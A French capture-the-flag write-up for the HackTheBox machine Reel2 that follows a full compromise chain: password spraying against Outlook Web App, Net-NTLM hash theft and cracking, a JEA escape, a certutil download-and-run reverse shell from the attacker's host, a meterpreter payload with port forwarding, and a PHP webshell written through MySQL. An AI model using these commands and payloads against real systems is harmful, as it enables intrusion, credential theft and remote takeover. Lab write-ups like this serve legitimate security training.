CTF — HackTheBox —Reel2

R Pion
ProHacktive
Published in
10 min readFeb 26, 2021
Caractéristique de la machine Reel2
  • IP de la machine Reel2 : 10.129.29.186
  • IP de l’attaquant : 10.10.14.67 (susceptible de changer en 10.10.14.32)

Reconnaissance avec Nmap

$> nmap -A -p- -sS -oN nmap_full 10.129.29.186# Nmap 7.91 scan initiated Fri Jan 29 16:00:29 2021 as: nmap -A -p- -sS -oN nmap_full 10.129.29.186
Nmap scan report for Reel2.htb.local (10.129.29.186)
Host is up (0.041s latency).
Not shown: 65519 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp open ssl/http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=Reel2
| Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local
| Not valid before: 2020-07-30T10:12:46
|_Not valid after: 2025-07-30T10:12:46
|_ssl-date: 2021-01-29T15:03:23+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
[...]
6022/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.43 ((Win64)
[...]
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[...]

Nous avons 3 ports qui vont être utiles pour la réalisation du challenge:

  • 443/tcp — web : On accède à un Outlook Web App (owa). Un compte est nécessaire pour y accéder.
  • 5985/tcp — winrm: Pour utiliser WinRM afin d’exécuter du code.
  • 8080/tcp — web: Wallstand, un réseau social. Il est possible de se créer un compte pour y accéder

8080/tcp — Wallstand — Reconnaissance

Après avoir créé un compte, on arrive sur l’interface suivante.

Interface du site Wallstand

En regardant les exploits disponibles concernant le software Wallstand :

Cependant, il m’ait été impossible de les utiliser dans le but de voler un compte. Nous allons donc faire de l’énumération !

8080/tcp — Wallstand —Enumération

Pour cela, nous avons besoin d’une liste d’utilisateur et de mot de passe. Les utilisateurs sont clairements renseignés sur le site. Pour les mots de passe, nous allons utiliser les mots dans les posts des utilisateurs.

usernames_base.txt :

cube0x0
cube
sven
svensson
lars
larsson
jenny
adams
teresa
trump

passwords_base.txt :

Enjoying
fika
egre55
summer
hot

Ensuite, nous allons ‘muter’ les usernames et mots de passe. Voici un exemple,

  • Pour les utilisateurs, voici une mutation possible : ‘sven’ => ‘s.sven’
  • Pour les mots de passe : ‘fika’ => ‘Fika2021!’

Pour cela, nous allons utiliser les scripts suivants pour nos mutations,

python main.py --from-year 2020 --to-year 2021 -mm normal,firstup suffix-mode ../passwords_base.txt ../passwords.txt
Output de m4ngl3m3 : mutation des mots de passe

Nous pouvons désormais utiliser nos wordlists afin d’obtenir un accès sur l’Outlook Web App!

443/tcp — Outlook Web App — Brute Force

Il est possible d’utiliser l’utilitaire présent dans msfconsole via les commandes suivantes :

use auxiliary/scanner/http/owa_login
set RHOST reel2.htb
set USER_FILE ‘users.txt’
set PASS_FILE ‘passwords.txt’

Cependant, celui-ci n’est pas multi-thread rendant ainsi la tâche très longue.

Utilisatation du plugin owa_login

Nous pouvons utiliser le tool de ‘byt3bl33d3r’ qui est beaucoup plus efficace :

https://github.com/byt3bl33d3r/SprayingToolkit/blob/master/atomizer.py

python atomizer.py owa reel2.htb ‘passwords.txt’ ‘users.txt’  -interval 00:00:01 -targetPort 443 -thread 100

On trouve les identifiants pour le compte ‘s.svensson’:

HTB\s.svensson
s.svensson:Summer2020

443/tcp — Outlook Web App — Love Letter

Nous pouvons nous connecter sur le webmail cependant, il n’y a pas d’information à part sa liste de contact.

L’idée est d’envoyer un mail à tous les contacts contenant un lien vers le serveur de l’attaquant. En effet, le software de microsoft va résoudre le lien que nous allons envoyer et va tout simplement nous envoyer ses information d’authentification (hash net-NTLM). Voici, un lien plus détaillé concernant l’attaque : https://blog.blazeinfosec.com/love-letters-from-the-red-team-from-e-mail-to-ntlm-hashes-with-microsoft-outlook/

Pour cela, nous devons utiliser l’outil Responder qui va nous permettre de mettre en place un faux serveur HTTP et récupérer le hash Net-NTLM : https://github.com/lgandx/Responder

Une fois Responder lancé, il suffit d’envoyer un mail à tous les contacts de svensson avec le contenu suivant :

Contenu du mail à envoyer afin de récupérer le hash net-NTLM de quelqu’un
Réponse récupéré par Responder : Hash Net-NTLM de ‘htb\k.svensson’
Analyse de la trame réseau envoyé par la victime sur Wireshark

Remarque : Il est impossible de réutiliser le hash net-NTLM comme des identifiants classiques. Cependant, il est possible de faire du NTLM relaying et je vous conseille de lire l’article de byt3bl33d3r : https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

Nous avons récupéré le hash suivant :

k.svensson::htb:fb018caa4632eaed:2F41D4E25AF024F27D3DA4B397E1B3A2:01010000000000005806ED0CD6F7D6013EC83FD6F07EF6CD000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300000000000000000000000004000002057297B901B91816CA46C56769BA7E33E492794A6D65F51F4D6B1E8D45E2E6E0A001000000000000000000000000000000000000900200048005400540050002F00310030002E00310030002E00310034002E00330032000000000000000000

Nous allons utiliser JohnTheRipper pour le cracker.

crack du hash net-NTLM avec john

Nous obtenons un nouvel identifiant :

HTB\k.svensson
kittycat1

5985/tcp — WinRM — Connection

Dans le write-up précédent, nous avons utilisé evil-winrm pour se connecter avec un powershell interactif en utilisant WinRM : https://medium.com/prohacktive/hackthebox-worker-fb50b58f1dd8

Cependant, cet outil fait appel à des fonctionnalités non disponibles dans le powershell invoqué par WinRM. Nous allons donc installer sur notre machine les paquets ‘powershell’ et ‘gss-ntlmssp’ pour nous connecter sur la machine de victime.

5985/tcp — WinRM — Escape from JEA

Nous allons nous connecter avec les commandes suivantes,

$> pwsh
$cred=Get-Credential
HTB\k.svensson
kittycat1
Enter-PSSession -Computer 10.129.29.186 -Authentication Negotiate -cred $cred

… et nous remarquons que nous sommes dans un powershell restreint : JEA.

Details : https://docs.microsoft.com/fr-fr/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.1

Aperçu du powershell restreint — JEA

On voit qu’il est possible de faire certaines choses :

  • Exécuter des commands en ‘Script Block’. On peut lire le flag de l’utilisateur.
Flag de l’utilisateur
  • Lister les fichiers en appuyant sur la touche <TAB> (\t)
Liste des fichiers dans le répertoire courrant
  • Lister les commands en tapant la commande ‘command’
Commande disponible dans notre environnement

Notre objectif est de sortir du context du JEA (‘JEA escape’)… Et bien, il est possible de sortir de ce context en redéfinissant tout simplement une de nos fonction autorisée. Par exemple, nous pouvons redéfinir la fonction ‘Get-Command’ afin d’obtenir un powershell sans restriction avec,

function Get-Command {param($params) powershell $params}
Redéfinition de la fonction Get-Command pour avoir un powershell non-restreint

Nous allons faire notre ‘download-exec’ afin d’obtenir un reverse shell. Pour cela, nous avons besoin de :

Sur la machine de l’attaquant,

python -m http.server 8080
  • Ouvrir un listener ‘ncat’ afin d’accueillir notre reverse shell.
ncat -nvl 4444

Sur la machine de l’attaquant,

  • Redéfinir une command autorisée, ici ‘Get-Help’, pour télécharger et exécuter notre payload.
function Get-Help { certutil.exe -urlcache -split -f http://10.10.14.67:8080/rsh.ps1 rsh.ps1; powershell .\rsh.ps1}
  • Lancer notre download-exec en tapant:
Get-Help

Voici le résultat !

Reverse TCP powershell non-restreint avec le compte k.svensson

Nous pouvons obtenir le flag dans les règles de l’art.

Il y a fichier ‘Sticky Notes.lnk’ qui attire notre attention. En effet, le Desktop du compte utilisateur contient uniquement le fichier user.txt, c’est un indice !

5985/tcp — WinRM —own jea_test_account

Nous avons 2 pistes pour élever nos privilèges :

  • Le ‘Sticky Notes.lnk’.
  • les fichiers de profils JEA laissés dans le répertoire courant de k.svensson.

En utilisant notre powershell, on peut confirmer l’existence du compte jea_test_account.

Information du compte jea_test_account

Cherchons les informations de ‘Sticky Notes’ dans le ‘appdata’ de notre utilisateur. On peut lancer une recherche de fichier dans notre powershell avec,

Get-Childitem “C:\Users\k.svensson\appdata” -Recurse -Include *sticky*

Ce qui nous intéresse se trouve ici :

C:\Users\k.svensson\appdata\Roaming\stickynotes

Nous allons chercher tous les fichiers contenant la donnée ‘jea_test_account’.

dir -recurse *.* | sls -pattern “jea_test_account” | select -unique path

Ce qui nous donne le résultat suivant,

Le fichier 000003.log contient la string ‘jea_test_account’

Cependant, il n’est pas trivial de le lire directement puisqu’il contient des informations binaires fermant notre reverse shell ! :(

Contenu du fichier 000003.log

Nous ne pouvons pas non plus exploiter directement le fichier car il est en cours d’utilisation. Nous allons tout simplement le copier quelque part et utiliser certutil.exe afin de l’encoder en base64.

Encode en base64 le fichier qui nous intéresse

Coté attaquant, nous pouvons récupérer les informations contenues dans ce fichier comme … le mot de passe du compte jea_test_account !

Identifiants du compte jea_test_account

Voici les identifiants du compte,

jea_test_account
Ab!Q@vcg^%@#1

5985/tcp — WinRM — Lire le flag root avec JEA

D’après la configuration présente dans le répertoire courant de k.svensson

Fichiers du profil jea_test_account

Voici un extrait de la configuration qui nous intéresse,

[...] -or $Path -like “C:\ProgramData\*” ; if($check) {get-content $Path}” [...]

Ce qui veut carrément dire que nous avons les privilèges ‘Administrator’ pour lire les fichiers. On peut alors compromettre le flag de l’Administrateur de cette façon,

C:\Users\Administrator\Desktop\root.txt => ne marche pas! :(
C:\ProgramData\..\Users\Administrator\Desktop\root.txt => marche! :D

Nous pouvons nous connecter avec les identifiants de jea_test_account avec

$> pwsh
$cred=Get-Credential
HTB\jea_test_account
Ab!Q@vcg^%@#1
Enter-PSSession -Computer 10.129.29.186 -Authentication Negotiate -cred $cred -ConfigurationName “jea_test_account”

Voici les commandes disponibles,

Cependant, il est impossible d’obtenir un powershell avec ce compte. En effet, la redéfinition de fonction est impossible car on est en mode ‘no-language’

no-language mode depuis le compte JEA

Il est possible cependant d’obtenir le flag de l’Administrator avec la technique de ‘..\’ énoncé plus haut.

5985/tcp — WinRM —Donne moi mon shell root !

En cherchant un peu, il est possible d’obtenir un véritable shell Administrateur. Il est possible de lire les fichiers appartenant à des comptes à privilège avec jea_test_account. En revenant sur les fichiers PHP du site Wallstand, on peut lire le fichier ‘hashtag.php’ (qui avait été utilisé dans la XSS au début qui a mené à rien… lol).

Header du fichier hashtag.php

Ce fichier nous donne un chemin vers le fichier ‘config/connect.php’ qui est très intéressant.

Nous avons les identifiants ‘root’ de la base de donnée. Cependant, le scan Nmap n’a jamais signalé le port 3306/tcp dans ses résultats. En effet, le service est en écoute localement sur la machine.

L’idée est de faire du ‘port forwarding’. Nous allons donc ‘prendre’ le port 3306/tcp de la machine victime afin de le ‘mettre’ sur la machine de l’attaquant.

Remarque: J’ai utilisé la fonctionnalité de meterpreter pour le faire. J’ai pensé à plink.exe mais je n’avais pas envie de laisser trainer un mot de passe SSH d’un quelconque compte sur cette machine.

Nous allons créer une payload meterpreter et l’exécuter avec le compte k.svensson avec notre download-exec vu précédement.

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe LHOST=10.10.14.67 LPORT=4445 -o /tmp/mtp.exe

Nous configurons le listener avec msfconsole :

$> msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 4445
set LHOST 10.10.14.67

Dans la session meterpreter, faire le port forwarding du 3306/tcp.

portfwd add -l 3306 -p 3306 -r 127.0.0.1 

Le ‘127.0.0.1’ est le localhost de la machine de la victime (qui est à distance)

Il est possible d’utiliser le mysql de reel2 depuis la machine de l’attaquant.

Connection à la base de donnée mysql de reel2 avec le compte root.

Nous pouvons écrire un peu partout. L’idée va être de faire exécuter du code PHP sur le site de Wallstand. Pour cela, nous allons créer un petit webshell avec la commande SQL,

SELECT ‘<?php system($_GET[\’s\’]); ?>’ INTO OUTFILE ‘C:\\xampp\\htdocs\\social\\helloooo.php’;

Le webshell est accessible directement depuis la racine du site. Pour exécuter des commandes, il suffit de renseigner le paramètre GET ‘s’ avec le contenu de la command. On peut faire un ‘whoami’

Webshell NT System !!!!

Nous avons donc la possibilité d’exécuter du code avec le plus de privilège possible! Nous allons couper la connection avec la session de k.svensson afin de laisser place à notre compte root. Nous allons réutiliser le reverse TCP powershell.

Il suffit de taper dans Firefox :
http://10.129.29.186:8080/helloooo.php?s=powershell%20C:\Users\k.svensson\Documents\rsh.ps1

Nous avons maintenant un shell Administrator sur la machine Reel2!

Flag administrator + shell Administrator interactif

Merci de m’avoir lu! @+

--

--